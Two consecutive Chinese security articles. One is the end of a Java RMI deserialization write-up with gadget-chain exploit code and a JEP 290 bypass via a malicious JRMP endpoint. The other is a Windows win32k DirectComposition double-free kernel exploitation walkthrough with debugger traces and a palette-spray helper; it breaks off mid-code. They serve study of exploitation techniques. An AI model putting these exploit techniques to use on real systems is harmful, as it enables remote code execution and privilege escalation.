//将其作为key键传入
expMap.put(tme, "value");
//remove
outMap.remove("key");
//传入利用链
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
//使用动态代理初始化 AnnotationInvocationHandler
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
//创建handler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, expMap);
//使用AnnotationInvocationHandler动态代理Remote
Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler);
//链接Registry
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
//触发反序列化
registry.rebind("test", remote);
}
}
没有通过前面的白名单过滤，首先是一个`Remote`对象，能够通过，之后就是一个`Proxy`对象，也能通过，在之后是一个`AnnotationInvocationHandler`类，不能够通过白名单过滤，返回了状态码`REJECTED`
## Bypass
### 8u121-8u230
#### 利用点
对于JEP RMI的绕过，主要是通过写入一个恶意ip+port，使得另一端能够访问这个恶意JRMP服务，造成的命令执行
我们来分析下为什么能够执行！
首先，我们在`Registry registry = LocateRegistry.getRegistry(1099);`处打下断点
在`getRegistry`方法的调用过程中，前面只是获取了本地ip地址，关键在后面，这里通过`Registry_id`也就是0，和一个封装了ip和port`TCPEndpoint`对象，创建了一个`LiveRef`对象
再然后将其传入了`UnicastRef`对象的`ref`属性中
最后通过调用`Util.createProxy`方法创建了一个`RegistryImpl_Stub`对象，封装了`UnicastRef / LiveRef
/ TCPEndpoint`对象
查看一下返回的`Stub`结构
接下来，将会调用得到的`Registry_Stub`对象的`bind`方法，进行对象的绑定
即是`RegistryImpl_Stub#bind`方法中
这里的`ref`属性就是在创建过程中提到的`UnicastRef`对象，调用其`newCall`方法，根据对应的ID创建了一个`StreamRemoteCall`对象并返回
之后调用`writeObject`方法将我们bind的恶意对象传输到`Registry`端
调用了前面得到的`StreamRemoteCall`远程调用方法，即是`this.ref.invoke()`方法
在这个方法调用了远程调用的`executeCall`进行调用
来到了服务端`Transport#serviceCall`方法的调用，获取之前writeObject传入的`StreamRemoteCall`对象的输入流，中输入流中得到ID，并取出对应的Target对象
之后调用`dispatch`进行分发
来到了`UnicastServerRef#dispatch`方法
调用了`oldDispatch`方法
下面的，不详细分析了，前面也讲过这个流程
贴个调用链就行了
registryFilter:416, RegistryImpl (sun.rmi.registry)
checkInput:-1, 564742142 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
之后就是进行过滤器的白名单验证
这里也是这个Bypass点的关键点，这里利用的是白名单中的`Remote`接口，在其实现类中有一个`RemoteObject`这个抽象类，能够通过白名单
我们知道反序列化具有传递性，是一层一层的进行反序列化的，在序列化`RemoteObject`的时候，将会调用其`readObject`方法
这里从输入流中调用`readObject`得到`UnicastRef`对象
接着调用了`readExternal`方法
跟进
在这个方法中调用了`LiveRef#read`方法从输入流中获取了我们在前面封装的`LiveRef`对象，跟进一下
在该方法中首先从输入流中获取了TCPEndpoint对象，并在后面封装成了一个`LiveRef`对象
在后面通过调用`saveRef`方法，
从`incomingRefTable`属性中获取var2这个Endpoint对象，如果没有这个Endpoint，将会将这个Endpoint
put进入map对象中
看看这个属性
这是一个`Endpoint`和`LiveRef`对象列表的映射
在最后将`LiverRef`对象写入前面new的一个ArrayList中去
在添加进入了`Endpoint`对象之后，结束了readObject方法的调用
回到了`RegistryImpl_Skel#dispatch`方法中，执行`StreamRemoteCall#releaseInputStream`方法
跟进一下
这里的`this.in`属性就是`ConnectionInputStream`，不为空，调用了他的`registryRefs`方法来进行Ref的注册
这里的`incomingRefTable`是不为空的，因为我们在前面的`saveRef`方法添加了映射
这里将会迭代的取出属性中的每一对映射，调用`DGCClient.registerRefs`方法进行注册调用
这里通过`DGCClient.EndpointEntry.lookup`方法进行对应`Endpoint`的发起连接
如果我们能够控制这里的`Endpoint`对象的ip and port，就能够对任意的服务发起连接，如果搭建一个恶意的JRMP服务，就能够成功利用
如何控制`Endpoint`对象后面讲，下面讲的是利用原理
#### 利用原理
在进行远程连接之后得到的是一个`DGCClient$EndpointEntry`对象
一直可以来到`DGCImpl_Stub#dirty`方法中
首先获取了一个远程调用对象
之后类似之前的`RegistryImpl_Stub`中的，调用`invoke`方法
在`UnicastRef#invoke`方法中调用`executeCall`进行远程调用
这里存在有个`ConnectionInputStream#readObject`的调用
因为RMI是一种局部过滤器，在这里的反序列化调用中是不存在有过滤器限制的，所以能够
所以，我们如果在恶意的服务端在`ConnectionInputStream`对象中writeObject了一个恶意对象就能够成功反序列化
#### 利用构造
1. 找到一个`RemoteObject`类或其没有重写`readObject`方法的类，能够控制其内部的`RemoteRef`类型属性`ref`为包含恶意端口的`UnicastRef`对象
因为`RemoteObject`类是一个抽象类，所以我们需要找到他的实现类
我们可以找到`RemoteObjectInvocationHandler`这个类
在其构造方法中，存在有`ref`属性的赋值
根据前面的分析，我们知道一个`UnicastRef`对象封装了一个`LiveRef`对象，我们关注一下`LiveRef`的构造方法
参数一是一个`ObjID`，RMI间是通过这个来判断调用哪个远程对象的，参数二是一个`Endpoint`对象，我们传入一个带有恶意服务端的ip和port的`TCPEndpoint`对象，参数三是一个Boolean类型的形参，判断该Endpoint是否是远程对象
构造
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("localhost", 9999);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
之后直接将这个恶意的ref传入`RemoteObjectInvocationHandler`构造方法中就行了
1. 对于恶意JRMP服务我们可以直接使用ysoserial项目
#### 修复
在 8u231 版本及以上的 DGCImpl_Stub#dirty 方法中多了一个 setObjectInputFilter 的过程，所以将会被过滤
## Ref
<https://www.anquanke.com/post/id/259059>
<https://paper.seebug.org/1689> | 社区文章 |
作者：[k0shl](https://whereisk0shl.top/Dark%20Composition%20Exploit%20in%20Ring0.html
"k0shl")
#### 0x00 前言
尝试写这个 Exploit 的起因是邱神 @pgboy1988 在3月份的一条微博，这是邱神和社哥在 cansecwest2017上的议题《Win32k
Dark Composition－－Attacking the Shadow Part of Graphic
Subsystem》，后来邱神在微博公开了这个议题的 slide，以及议题中两个 demo 的
PoC，当时我也正好刚开始学习内核漏洞，于是就想尝试将其中一个 double free 的 demo 写成 exploit（事实证明我想的太简单了）。
后来由于自己工作以及其他在同时进行的一些flag，还有一些琐碎事情的原因，这个 Exploit
拖拖拉拉了半年时间，其中踩了很多坑，但这些坑非常有趣，于是有了这篇文章，我会和大家分享这个 Exploit 的诞生过程。
我在6月份完成了 Exploit 的提权部分，随后遇到了一个非常大的困难，就是对 Handle Table 的修补，10月份完成了整个漏洞的利用。
非常非常感谢邱神在我尝试写 Exploit
的过程中对我的指点，真的非常非常重要！也非常感谢我的小伙伴大米，在一些细节上的讨论碰撞，解决了一些问题，很多时候自己走不出的弯如果有大佬可以指点，或者和小伙伴交流讨论，会解决很多自己要好久才能解决的问题。
最后我还是想说，十一长假时完成这个 Exploit 的时候我差点从椅子上跳起来，whoami->SYSTEM 那一刻我突然觉得，这个世界上怕是没有什么比
system&&root 更让我兴奋的事情了！
调试环境：
Windows 10 x64 build 1607
win32kbase.sys 10.0.14393.0
Windbg 10.0.15063.468
IDA 6.8
邱神的 slide 和 PoC: <https://github.com/progmboy/cansecwest2017>
我会默认阅读此文的小伙伴们已经认真看过邱神和社哥的 slide，关于 slide 中提到的知识点我就不再赘述，欢迎师傅们交流讨论，批评指正，感谢阅读！
#### 0x01 关于Direct Compostion和PoC
关于 Direct Composition 在 slide
里有相关描述，如果想看更详细的内容可以参考[MSDN](https://msdn.microsoft.com/en-us/library/windows/desktop/hh437371\(v=vs.85\).aspx "MSDN")，这里我就不再赘述，我最开始复现这个
double free 漏洞的时候碰到了第一个问题，当时 PoC 无法触发这个漏洞，会返回 NTSTATUS
0xC00000D，我重新跟踪了一下调用过程，发现了第一个问题的解决方法。
首先，在 Win10 RS1 之后 Direct Compostion 的 NTAPI 引用可以通过
NtDCompositionProcessChannelBatchBuffer 调用，通过 enum DCPROCESSCOMMANDID 管理。
enum DCPROCESSCOMMANDID
{
nCmdProcessCommandBufferIterator,
nCmdCreateResource,
nCmdOpenSharedResource,
nCmdReleaseResource,
nCmdGetAnimationTime,
nCmdCapturePointer,
nCmdOpenSharedResourceHandle,
nCmdSetResourceCallbackId,
nCmdSetResourceIntegerProperty,
nCmdSetResourceFloatProperty,
nCmdSetResourceHandleProperty,
nCmdSetResourceBufferProperty,
nCmdSetResourceReferenceProperty,
nCmdSetResourceReferenceArrayProperty,
nCmdSetResourceAnimationProperty,
nCmdSetResourceDeletedNotificationTag,
nCmdAddVisualChild,
nCmdRedirectMouseToHwnd,
nCmdSetVisualInputSink,
nCmdRemoveVisualChild
};
这个 NtDCompositionChannelBatchBuffer 函数在 win32kbase.sys 中，它的函数逻辑如下：
__int64 __fastcall DirectComposition::CApplicationChannel::ProcessCommandBufferIterator(DirectComposition::CApplicationChannel *this, char *a2, unsigned int a3, __int64 a4, unsigned __int32 *a5)
{
switch ( v10 )
{
case 9:
v11 = v6;
if ( v5 >= 0x10 )
{
v6 += 16;
v5 -= 16;
v12 = DirectComposition::CApplicationChannel::SetResourceFloatProperty(
v7,
*((_DWORD *)v11 + 1),
*((_DWORD *)v11 + 2),
*((float *)v11 + 3));
goto LABEL_10;
}
v8 = -1073741811;
goto LABEL_2;
case 7:
v42 = v6;
if ( v5 >= 0xC )
{
v6 += 12;
v5 -= 12;
v12 = DirectComposition::CApplicationChannel::SetResourceCallbackId(
v7,
*((_DWORD *)v42 + 1),
*((_DWORD *)v42 + 2));
goto LABEL_10;
}
v8 = -1073741811;
goto LABEL_2;
case 1:
.....
}
关于 enum DCPROCESSCOMMAND 中的 API 调用在 ProcessCommandBufferIterator 是通过 switch
case 管理的，我直接跟到关键的 nCmdSetResourceBufferProperty 函数。
else if ( v9 == 11 ) // if v9 == setbufferproperty
{
v22 = v6;
if ( v5 < 0x10 ) // v5 = 0x5d
{
v8 = -1073741811;
}
else
{
v6 += 16; // pointer to resource data
v5 -= 16; // //size - resource header size
v23 = *((_DWORD *)v22 + 3); // v23 = get data size in resource header
v24 = (v23 + 3) & 0xFFFFFFFC; // v24 > v5
if ( v24 < v23 || v5 < v24 ) // size of type must 0x4c
{
LABEL_144:
v8 = -1073741811;
}
else
{
v6 += v24;
……
这里 v9 的值是 enum 的值，可与之前的 enum 定义做比对，当其值为0xB的时候，进入 CmdSetResourceBufferProperty
的 case 逻辑，这里比较关键的是 else 逻辑中的if ( v24 < v23 || v5 < v24
)，如果满足其中一个条件为1，就会返回0xC00000D，返回 NTSTATUS 并不会进入 SetBufferProperty
函数处理，因此没有触发漏洞。
而由于之前 v24 会与 0xFFFFFFFC 做与运算，因此这个值只有满足 v5=v24 才会令第二个值为 0，因此这里 v5 的值，也就是 PoC中
sizeof(szBuf)的值二进制低4位必须为1100，这里之前 PoC 的 sizeof(szBuf)的值为
0x4d，只需要减去一个字节，令sizeof(szBuf)＝0x4c，就可以不进入这个 if 语句。最终触发漏洞。
#### 0x02 DComposition Double Free漏洞分析
下面来分析一下这个 double free 漏洞，问题存在于 SetBufferProperty 函数中，函数中会创建一个池，用来存放 resource
的dataBuf，在函数中会调用 win32kbase!StringCbLengthW，获取 dataBuf 的长度，随后进行拷贝，但是如果
StringCbLengthW失败，则会返回一个NTSTATUS，随后释放这个pool，但是释放后没有对池指针置 NULL，最后在
releaseresource 的时候会检查这个 databuf 指针是否为0，不为0则会 freepool，而由于之前没有置 NULL，从而引发
double free。下面来看下这个漏洞过程。
第一步我们通过 CreateResource 创建 hResource，并且返回这个 resource 的句柄。
kd> g
Breakpoint 1 hit
win32kbase!NtDCompositionProcessChannelBatchBuffer:
ffff87e7`8d3f30c0 488bc4 mov rax,rsp
kd> ba e1 win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator
kd> g
Breakpoint 2 hit
win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator:
ffff87e7`8d3f43c0 44884c2420 mov byte ptr [rsp+20h],r9b
//***************rdx存放resource句柄
kd> r rdx
rdx=ffff8785c3cb0000
kd> dd ffff8785c3cb0000 l1//hresource值为1
ffff8785`c3cb0000 00000001
第二步进入 NtDCompositionProcessChannelBatchBuffer 函数处理，就是第二小节中我们介绍的 switch case
处理，首先 enum 的值为0xb，进入 SetBufferProperty 处理。
kd> ba e1 win32kbase!NtDCompositionProcessChannelBatchBuffer
kd> g
Break instruction exception - code 80000003 (first chance)
0033:00007ff7`ebc91480 cc int 3
kd> g
Breakpoint 0 hit
win32kbase!NtDCompositionProcessChannelBatchBuffer:
ffff87e7`8d3f30c0 488bc4 mov rax,rsp
kd> ba e1 win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator
kd> g
Breakpoint 1 hit
win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator:
ffff87e7`8d3f43c0 44884c2420 mov byte ptr [rsp+20h],r9b
kd> r rdx
rdx=ffff8785c4170000
//****************enum的值为0xb，代表setbufferproperty API
kd> dd ffff8785c4170000 l1
ffff8785`c4170000 0000000b
这里我们通过第二小节中的分析，修改了正确的 szbuf 大小，因此可以顺利进入 SetBufferProperty 函数中。
kd> p
win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator+0x217:
ffff87e7`8d3f45d7 498bca mov rcx,r10
//*************跳转到SetBufferProperty
kd> p
win32kbase!DirectComposition::CApplicationChannel::ProcessCommandBufferIterator+0x21a:
ffff87e7`8d3f45da ff1568270d00 call qword ptr [win32kbase!_guard_dispatch_icall_fptr (ffff87e7`8d4c6d48)]
kd> t
win32kbase!guard_dispatch_icall_nop:
ffff87e7`8d4179f0 ffe0 jmp rax
kd> p
win32kbase!DirectComposition::CExpressionMarshaler::SetBufferProperty:
ffff87e7`8d3f37c0 4c8bdc mov r11,rsp
第三步，进入 SetBufferProperty，首先会分配一个池空间用于准备存放 hresource 的 databuf，返回指向这个池的指针A。
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d70d:
ffff87e7`8d43d4cd e89e39fbff call win32kbase!Win32AllocPoolWithQuota (ffff87e7`8d3f0e70)
//***********分配池空间大小0x4c，正好是databuf的大小
kd> r rcx
rcx=000000000000004c
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d712:
ffff87e7`8d43d4d2 48894758 mov qword ptr [rdi+58h],rax
//*************rax存放的是指向池空间的指针A
kd> r rax
rax=ffff8785c01463f0
kd> !pool ffff8785c01463f0
ffff8785c0146000 size: 3b0 previous size: 0 (Allocated) Gfnt
ffff8785c01463b0 size: 30 previous size: 3b0 (Free) Free
//*************当前池处于Allocated状态
*ffff8785c01463e0 size: 60 previous size: 30 (Allocated) *DCdn Process: eba5d6c42906b9b2 Owning component : Unknown (update pooltag.txt)
ffff8785c0146440 size: 60 previous size: 60 (Allocated) CSMr
第四步，在向池空间拷贝 databuf 前，会先调用 win32kbase!StringCbLengthW 获得 databuf 的大小，但是如果
StringCbLengthW 返回错误，则会释放掉这个池空间。
//*************调用StringCbLengthW函数
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d726:
ffff87e7`8d43d4e6 e849b30300 call win32kbase!StringCbLengthW (ffff87e7`8d478834)
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d72b:
ffff87e7`8d43d4eb 85c0 test eax,eax
//**********函数失败返回NTSTATUS
kd> r eax
eax=80070057
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d72d:
ffff87e7`8d43d4ed 782c js win32kbase! ?? ::FNODOBFM::`string'+0x1d75b (ffff87e7`8d43d51b)
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d75b:
ffff87e7`8d43d51b 488b4f58 mov rcx,qword ptr [rdi+58h]
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d75f:
ffff87e7`8d43d51f bb0d0000c0 mov ebx,0C000000Dh
//********失败后调用FreePool
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d764:
ffff87e7`8d43d524 e8272af9ff call win32kbase!Win32FreePool (ffff87e7`8d3cff50)
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d769:
ffff87e7`8d43d529 90 nop
kd> !pool ffff8785c01463f0
Pool page ffff8785c01463f0 region is Unknown
ffff8785c0146000 size: 3b0 previous size: 0 (Allocated) Gfnt
ffff8785c01463b0 size: 30 previous size: 3b0 (Free) Free
//*********可以看到申请的池现在是Free状态
*ffff8785c01463e0 size: 60 previous size: 30 (Free ) *DCdn Process: 145a77c888d83932
Owning component : Unknown (update pooltag.txt)
ffff8785c0146440 size: 60 previous size: 60 (Allocated) CSMr
但是释放后，没有对指针进行置 NULL，导致调用 ReleaseResource 时，会再次释放这个池空间，最后导致 double free 的发生。
//*********调用ReleaseResource函数后会调用CBaseExpressionMarsharler
kd> g
Breakpoint 3 hit
win32kbase!DirectComposition::CBaseExpressionMarshaler::~CBaseExpressionMarshaler:
ffff87e7`8d3f2d40 4053 push rbx
kd> kb
RetAddr : Args to Child : Call Site
ffff87e7`8d3f3b74 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32kbase!DirectComposition::CBaseExpressionMarshaler::~CBaseExpressionMarshaler
ffff87e7`8d3f3d7a : ffff8785`c1b94970 00000000`00000000 00000000`00000000 00000000`00000297 : win32kbase!DirectComposition::CExpressionMarshaler::`scalar deleting destructor'+0x14
00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32kbase!DirectComposition::CApplicationChannel::ReleaseResource+0x1ea
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d688:
ffff87e7`8d43d448 e8032bf9ff call win32kbase!Win32FreePool (ffff87e7`8d3cff50)
//**********释放这个已Free的指针
kd> r rcx
rcx=ffff8785c01463f0
kd> !pool ffff8785c01463f0
Pool page ffff8785c01463f0 region is Unknown
ffff8785c0146000 size: 3b0 previous size: 0 (Allocated) Gfnt
ffff8785c01463b0 size: 30 previous size: 3b0 (Free) Free
//*********当前已处于释放状态
*ffff8785c01463e0 size: 60 previous size: 30 (Free ) *DCdn Process: 145a77c888d83932
Owning component : Unknown (update pooltag.txt)
ffff8785c0146440 size: 60 previous size: 60 (Allocated) CSMr
//***********最终引发bugcheck，double free
BAD_POOL_CALLER (c2)
The current thread is making a bad pool request. Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 0000000000000007, Attempt to free pool which was already freed
关于为什么 StringCbLengthW 函数会失败，在后面利用的过程中我会提到，因为想利用这个漏洞，我们需要它后 面返回成功，实现 szbuf
对内核空间的数据拷贝。
#### 0x03 GDI Data Attack!--从Double Free到write what where
其实我六月份开始写这个漏洞的时候关于 GDI attack 的方法我没有找到 paper，导致用 palette 的时候逆向了很多函数，最后写了这个
exp，后来有了几篇关于 GDI 的 paper，讲述的还是比较详细的，后面我会给这个 paper 的链接。
其实我也思考了关于 bitmap 的方法，其实理论上应该也可以的，但我在 google 上当时搜到了一篇文章，提到了一句关于
palette的信息，当时那篇paper上说 palette 的 kernel object 结构更简单，如果用 bitmap 的话，如果覆盖 bitmap
的 kernel object 的其他结构的话，可能导致在其他时候会产生一些问题，在内核漏洞利用中如果产生 crash 可能直接就 bsod 了...
在这个 double free 中完全可以只用 palette 来完成攻击，因为之前做 bitmap 比较多，对 bitmap 比较熟悉，因此在我的
exploit 中，palette 只起到一个过渡作用，最终还是通过 bitmap 来完成任意地址读写。
关于这个 double free 的利用思路是，首先在第一次 free 的时候会产生一个 hole，然后我们用 palette 占用这个
hole，然后第二次 free 的时候实际上释放的是这个 palette，然而因为不是通过 deleteobject 释放 palette，这个
palette 的 handle 并没有被消除，这样我们可以通过第三次用可控的 kernel object 填充，从而控制 palette
的内核对象空间，而我们还可以对 palette 的句柄进行操作，这个过程完成 double free -> use after free -> write
what where 的过程。
OK，第一步我们需要创造一个稳定的内核空洞，比较巧的是 SetBufferProperty 创建的这个 pool 是一个 session paged
pool，而Accelerator 的 kernel object 也是一个 session paged pool，而 GDI 的 palette 和
bitmap 也是 session paged pool，因此我使用了 Nicolas Economous 的方法来制造这个稳定的pool
hole（<https://www.coresecurity.com/system/files/publications/2016/10/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf>）。
//step 1
kd> p
_dark_composition_+0x18c7:
0033:00007ff6`25ca18c7 4d8bc6 mov r8,r14
kd> p
_dark_composition_+0x18ca:
0033:00007ff6`25ca18ca b901000000 mov ecx,1
kd> r r8
r8=ffff8ace81fa9310
kd> !pool ffff8ace81fa9310
Pool page ffff8ace81fa9310 region is Paged session pool
ffff8ace81fa9000 is not a valid large pool allocation, checking large session pool...
ffff8ace81fa9260 size: 20 previous size: 0 (Allocated) Frag
ffff8ace81fa9280 size: 10 previous size: 20 (Free) Free
ffff8ace81fa9290 size: 70 previous size: 10 (Allocated) Uswe
//*********创建Accelerator kernel object
*ffff8ace81fa9300 size: 100 previous size: 70 (Allocated) *Usac Process: ffffa6018eb56080
Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable
……
//step 2
kd> g
Break instruction exception - code 80000003 (first chance)
_dark_composition_+0x2460:
0033:00007ff6`25ca2460 cc int 3
kd> !pool ffff8ace81fa9310
Pool page ffff8ace81fa9310 region is Paged session pool
ffff8ace81fa9000 is not a valid large pool allocation, checking large session pool...
ffff8ace81fa9260 size: 20 previous size: 0 (Allocated) Frag
ffff8ace81fa9280 size: 10 previous size: 20 (Free) Free
ffff8ace81fa9290 size: 70 previous size: 10 (Allocated) Uswe
//******DeleteAccelerator制造pool hole
*ffff8ace81fa9300 size: 100 previous size: 70 (Free ) *Usac
Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable
我通过 DeleteAccelerator 释放这个 Accelerator 制造了一个 pool hole，随后我们调用
SetBufferProperty 来占用这个 pool hole，之后由于 StringCbLengthW 失败，这个 pool hole
又会被释放出来。
//step 1
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d70d:
ffff8aae`1923d4cd e89e39fbff call win32kbase!Win32AllocPoolWithQuota (ffff8aae`191f0e70)
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d712:
ffff8aae`1923d4d2 48894758 mov qword ptr [rdi+58h],rax
kd> r rax
rax=ffff8ace81fa9310
kd> !pool ffff8ace81fa9310
Pool page ffff8ace81fa9310 region is Paged session pool
//******在SetBufferProperty中会在pool hole重新申请池空间
*ffff8ace81fa9300 size: 100 previous size: 70 (Allocated) *DCdn Process: ffffa6018eb56080
Pooltag DCdn : DCOMPOSITIONTAG_DEBUGINFO, Binary : win32kbase!DirectComposition::C
//step 2
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d726:
ffff8aae`1923d4e6 e849b30300 call win32kbase!StringCbLengthW (ffff8aae`19278834)
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d72b:
ffff8aae`1923d4eb 85c0 test eax,eax
//win32kbase!StringCbLengthW函数失败返回错误NTSTATUS
kd> r eax
eax=80070057
//step 3
//************这是第一次free
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d764:
ffff8aae`1923d524 e8272af9ff call win32kbase!Win32FreePool (ffff8aae`191cff50)
kd> p
win32kbase! ?? ::FNODOBFM::`string'+0x1d769:
ffff8aae`1923d529 90 nop
kd> !pool ffff8ace81fa9310
Pool page ffff8ace81fa9310 region is Paged session pool
//**************free pool hole
*ffff8ace81fa9300 size: 100 previous size: 70 (Free ) *DCdn
Pooltag DCdn : DCOMPOSITIONTAG_DEBUGINFO, Binary : win32kbase!DirectComposition::C
第二步，我们通过 CreatePalette 来申请 GDI kernel address 占用这个 hole，关于 palette
的占用大小，当时我为了做这个稳定的 pool fengshui，我跟了 CreatePalette
相关函数很长时间，做了很多尝试才发现如何控制申请的大小，不过最近有一篇 paper，给出了一个“公式”，这个大小和 struct LOGPALETTE
结构体成员有关，这里我就不重复逆向的繁琐过程了（<https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html>）。
HPALETTE createPaletteofSize(int size) {
// we alloc a palette which will have the specific size on the paged session pool.
if (size <= 0x90) {
printf("bad size! can't allocate palette of size < 0x90!\n");
return 0;
}
int pal_cnt = (size - 0x90) / 4;
int palsize = sizeof(LOGPALETTE) + (pal_cnt - 1) * sizeof(PALETTEENTRY);
LOGPALETTE *lPalette = (LOGPALETTE*)malloc(palsize);
memset(lPalette, 0x4, palsize);
lPalette->palNumEntries = pal_cnt;
lPalette->palVersion = 0x300;
return CreatePalette(lPalette);
}
我们通过 CreatePalette 可以申请和 hrescoure->databuf 相同大小空间的 pool，去占用这个 pool
hole，以便在下一步中 double free 掉这个 palette 对象。
//createpalette创建palette占用pool hole
kd> p
win32u!NtGdiCreatePaletteInternal:
0033:00007ffd`13ab25f0 4c8bd1 mov r10,rcx
kd> gu
_dark_composition_+0x1b97:
0033:00007ff6`25ca1b97 488b5d58 mov rbx,qword ptr [rbp+58h]
kd> !pool ffff8ace81fa9310
Pool page ffff8ace81fa9310 region is Paged session pool
//**************重新覆盖palette，这个palette会在第二次free时不知情的情况下free掉
*ffff8ace81fa9300 size: 100 previous size: 70 (Allocated) *Gh08
Pooltag Gh08 : GDITAG_HMGR_PAL_TYPE, Binary : win32k.sys
随后我们通过 Release Resource 会释放这个 palette kernel object（double free漏洞），这样又产生了一个
pool hole，而这个 palette 释放后，它的句柄仍然存在，我们仍然可以调用到这个句柄对 palette 进行操作。
//Release Resource会释放掉palette
kd> p
_dark_composition_+0x1c08:
0033:00007ff6`25ca1c08 41ffd5 call r13
kd> p
_dark_composition_+0x1c0b:
0033:00007ff6`25ca1c0b 488d153e2c0100 lea rdx,[_dark_composition_+0x14850 (00007ff6`25cb4850)]
kd> !pool ffff8ace81fa9310
Pool page ffff8ace81fa9310 region is Paged session pool
//*********palette在不知情的情况下被释放，double free变成use after free
*ffff8ace81fa9300 size: 100 previous size: 70 (Free ) *Gh08
Pooltag Gh08 : GDITAG_HMGR_PAL_TYPE, Binary : win32k.sys
接下来，我们需要用可控的内核对象来占用这个 hole，其实这种情况下，有很多内核对象可以用，但是我想到之前的 SetBufferProperty
就是为了将用户可定义的 databuf 拷贝到内核对象空间。也就是说，如果我们可以在 SetBufferProperty 函数创建池空间后不让它
free，也就是说 StringCbLengthW 能够成功返回，就可以不让它 free 了，而且可以通过 databuf 来控制内核空间的值。
ffff8aae`1923d4e6 e849b30300 call win32kbase!StringCbLengthW (ffff8aae`19278834)
ffff8aae`1923d4eb 85c0 test eax,eax
ffff8aae`1923d4ed 782c js win32kbase! ?? ::FNODOBFM::`string'+0x1d75b (ffff8aae`1923d51b)
//*************如果stringcblenghtw成功，则会进入拷贝逻辑
ffff8aae`1923d4ef 488b5530 mov rdx,qword ptr [rbp+30h]
ffff8aae`1923d4f3 4c8bc6 mov r8,rsi
ffff8aae`1923d4f6 488b4f58 mov rcx,qword ptr [rdi+58h]
ffff8aae`1923d4fa 83476002 add dword ptr [rdi+60h],2
//************databuf拷贝
ffff8aae`1923d4fe e8b5b20300 call win32kbase!StringCbCopyW (ffff8aae`192787b8)
那么如何让 StringCbLengthW 函数成功呢？首先我们要分析为什么 StringCbLengthW 会返回错误。在 StringCbLength
有这样一处逻辑。
do//v5是szBuf，v7是长度
{
if ( !*v5 )//若v5的值是0x00，则break跳出循环
break;
++v5;//否则szBuf指针后移
--v7;//计数器减1
}
while ( v7 );//若长度一直减到0
if ( v7 )//若v7不为0
v6 = v3 - v7;//正常返回
else//若v7为0
LABEL_16:
v8 = -2147024809;//返回错误NTSTATUS
这样，我们只需要修改 databuf，增加一个\x00就可以不让 kernel object free 掉了，接下来我们需要考虑控制 palette
的内核空间，因为我们后面会直接用可控的 szBuf 对这个池空间进行覆盖，势必会覆盖到所有内容，如果 palette 的某些关键结构被覆盖，则会导致其他的
crash 的发生。
当然这里我们最主要控制的是 palette->pEntries，通过覆盖它就可以通过 SetPaletteEntries 来对 pEntries
指向的空间进行写入，而如果这个 pEntries 指向 ManagerBitmap 的 kernel object，我们就可以通过
SetPaletteEntries 修改 ManageBitmap 的 pvScan0，令它指向 WorkerBitmap 的 pvScan0。
由于我们要用到 SetPaletteEntries，所以我直接动态调试，并跟踪了这个函数。
__int64 __fastcall GreSetPaletteEntries(HPALETTE a1, unsigned __int32 a2, unsigned __int32 a3, const struct tagPALETTEENTRY *a4)
{
v4 = a4;
v5 = a3;
v6 = a2;
v7 = 0;
EPALOBJ::EPALOBJ((EPALOBJ *)&v13, a1);
v8 = v13;
if ( v13 )
{
v14 = *(_QWORD *)ghsemPalette;
GreAcquireSemaphore();
v7 = XEPALOBJ::ulSetEntries((XEPALOBJ *)&v13, v6, v5, v4);
在跟踪的过程中，我找到了几处位置，在我通过 szBuf 覆盖的时候，需要注意这几处位置，不能随意修改其中的值，否则会导致 SetPaletteEntries
失败。
//第一处是
_QWORD *__fastcall EPALOBJ::EPALOBJ(_QWORD *a1, __int64 a2)
{
__int64 v2; // rax@1
_QWORD *v3; // rbx@1
__int64 v4; // rax@1
*a1 = 0i64;
v2 = a2;
v3 = a1;
LOBYTE(a2) = 8;
